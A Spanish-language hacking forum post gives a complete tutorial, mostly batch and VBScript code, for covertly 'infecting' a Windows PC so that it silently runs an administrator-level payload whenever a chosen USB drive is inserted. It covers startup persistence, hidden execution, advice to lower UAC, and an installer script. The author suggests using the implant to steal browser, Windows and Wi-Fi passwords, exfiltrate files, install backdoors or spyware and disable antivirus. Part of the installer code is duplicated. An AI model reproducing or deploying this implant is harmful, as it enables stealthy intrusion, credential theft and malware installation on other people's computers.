Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Hello_World

#1
Hello, World.

Quizas muchos aquí conozcan o hayan oido acerca de la USB Rubber Ducky y su peculiar caracteristica de auto-ejecutar payloads con solo conectarla en una computadora o cualquier dispositivo que se pueda manejar usando un teclado; ya que esta emula ser uno.

Bueno, hoy veremos como hacer algo similar aunque sin gastar ni un dolar (bueno, necesitaremos una USB).

El codigo a usar seria el siguiente:
Esta es una versión comentada, ademas de que se toma la molestia de imprimirnos si ha detectado o no la USB
(Espero que se explique por si mismo o sino preguntar en los comentarios D:)

Código: php

REM *** %WINDIR%/SYSTEM32 ***
@ECHO OFF
:WHILE
CLS
REM *** Darle a la variable USBDrive la letra de la Usb en el caso de que haya una Usb con el nombre indicado ***
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "HELLOWORLD"') do (set USBDrive=%%A:)

REM *** Si la variable esta vacia espera 3 segundos y vuelve a comprobar ***
if [%USBDrive%] EQU [] (

ECHO [*] USB:      NO!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!
TIMEOUT>NUL /T 3
GOTO :WHILE

REM *** En el caso de que la variable no este vacia (Significa que tiene la letra de nuestra USB) ***
REM *** Ademas de que exista el payload que vamos a ejecutar (Esto evitará que nos muestre algun error, en el caso de que intentemos ejecutar un payload que no existe) ***
) else if exist %USBDrive%\Payload.bat (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  OK!

REM *** Entonces 'Rompe' el bucle y ejecutamos el payload... ***
GOTO :BREAK

REM *** De no cumplirse las anteriores condiciones (Significa que la USB con el nombre esta insertada, pero el payload no existe) ***
) ELSE (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!

TIMEOUT>NUL /t 3
SET USBDrive=
GOTO :WHILE
)

:BREAK

REM *** Aqui es cuando se ejecuta el payload  ***
REM *** EJECUTAR PAYLOAD OCULTO *** wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

START %USBDrive%\Payload.bat

REM ** ESPERA 90 SEGUNDOS Y VUELVE A COMPROBAR, ESTO HACE QUE PODAMOS INSERTAR TANTAS VECES COMO QUERRAMOS LA USB (CON PAYLOADs DIFERENTES), SIN NECESIDAD DE ESPERAR A QUE LA PC SE REINICIE ***
CLS
ECHO PAYLOAD EJECUTADO
TIMEOUT>NUL /T 0
ECHO ESPERANDO 90 SEGUNDOS PARA VOLVER A COMPROBAR
TIMEOUT>NUL /NOBREAK /t 90

REM *** RESETEA EL VALOR DE LA VARIABLE ***
SET USBDrive=
GOTO :WHILE


Cuando no hay ninguna USB con el nombre indicado:


Cuando hay una USB con el nombre indicado, pero no existe el "payload.bat"


Ahora solo faltaria hacer que se ejecute al inicio de Windows y de preferencia en segundo plano.
Bien, usaremos este script de windows para ejecutar en segundo plano al siguiente bat.
Este lo pondremos en la ruta: "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\"

Código: php

set objshell = createobject("wscript.shell")
objshell.run "C:/Windows/System32/Ejecutar.bat",vbhide


Con el archivo "Ejecutar.bat" nos encargaremos de ejecutar el archivo de espera "Esperar.bat" con permisos de administrador y en segundo plano.
Asi el payload (payload.bat) no solo se ejecutará en segundo plano sino que tambien se ejecutará con permisos de administrador.

Código: php

PowerShell Start %WINDIR%/System32/Esperar.bat -Verb runAs -WindowStyle Hidden


Para esto es recomendado cambiar la configuracion del control de cuentas de usuario "UAC"
Podemos ir al panel de control/bla-bla-bla/bla-bla-bla/UAC
o
presionamos WIN + R y escribimos UserAccountControlSettings.exe


Lo ponemos en la parte inferior  :)


La versión 'final' para el archivo "Esperar.bar" seria esta (la otra estaba comentada y configurada para 'pruebas').
Como podran ver es claramente una versión simplificada.

Código: php

REM *** %WINDIR%/SYSTEM32 ***
:WHILE
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "MIUSB"') do (set USBDrive=%%A:)
if [%USBDrive%] EQU [] (
TIMEOUT /T 3
GOTO :WHILE ) else if exist %USBDrive%\Payload.bat (
GOTO :BREAK) ELSE (
TIMEOUT /t 3
SET USBDrive=
GOTO :WHILE)

:BREAK
wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

TIMEOUT /t 90
SET USBDrive=
GOTO :WHILE


Por si no lo notaron, para ejecutar el payload usaremos otro script de windows llamado "Ocultar.vbs".
Espero el nombre sea suficientemente descriptivo :D

Código: php

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


Hasta aquí ya quedaria todo funcionando correctamente (en segundo plano e iniciando con windows)
Pero, copiar cada archivo a su ruta seria algo tedioso y la intencion es usar el menor tiempo posible y mientras se pueda ¿Por qué no?.

Nuevamente con la ayuda de un script de windows "Copiar.vbs" ejecutaremos un segundo en segundo plano el cual ya explicaré su función.

Código: php

set objshell = createobject("wscript.shell")
objshell.run "Run.bat",vbhide


El archivo "Run.bat" será este:
Código: php

REM  UBICACION --> "CARPETA RAIZ USB"
REM Esto no es necesario, pero ... pero bueno es costumbre
@ECHO OFF & CLS

REM Le pasamos el valor del comando "CD" (nuestra ubicacion actual) a la variable "HERE"
FOR /F "TOKENS=*" %%%% in ('CD') DO (SET HERE=%%~%%)

REM Lo guardamos en un documento de texto para importarlo para luego saber la ruta de los archivos ya que al ejecutar como administrador un bat, nos cambia el directorio a "%WINDIR%\System32\"
ECHO %HERE%Docs>%tmp%\Current.txt

REM Usamos powershell para ejecutar como administrador un nuevo bat llamado "Copiar.bat" el cual se encuentra junto con los demas (arranque.vbs, ejecutar.bat, esperar.bat y ocultar.vbs) en la carpeta "Docs"
PowerShell Start %HERE%/Docs/Copiar.bat -Verb runAs -WindowStyle Hidden
EXIT


El archivo "Copiar.bat" seria:
Código: php

REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%

REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit
REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit


Finalmente, todo lo que debemos hacer es poner el nombre de nuestra USB en el archivo "Esperar.bat" y hacer doble clic en el archivo "Copiar.vbs"

Como resultado final una vez 'infectado' un ordenador podremos correr un payload con solo conectar la USB, en segundo plano y con permisos de administrador.

¿Que podemos hacer?

Lo que nuestro conocimiento nos permita  8).

Ejms:

[ESTOS 4 PAYLOADS Y SUS DEMOS LAS PUEDES ENCONTRAR EN ESTA LISTA DE REPRODUCCION EN YT]

   Robar contraseñas de navegadores
   Robar contraseñas de windows
   Extraer contraseñas de las redes wifi
   Copiar o extraer archivos

[TAMBIEN...]
   Crear backdoors
   Instalar malware, spyware
   Desactivar el AV
   Tirarse la PC
   Etc...

¿Desventajas?

El unico problema seria que la primera vez tenemos que iniciar el script manualmente, pero vamos; solo un par de clics y es TODO.

Lista de reproduccion con demostración, explicación, configuracion y ejecución de payloads


Saludos!!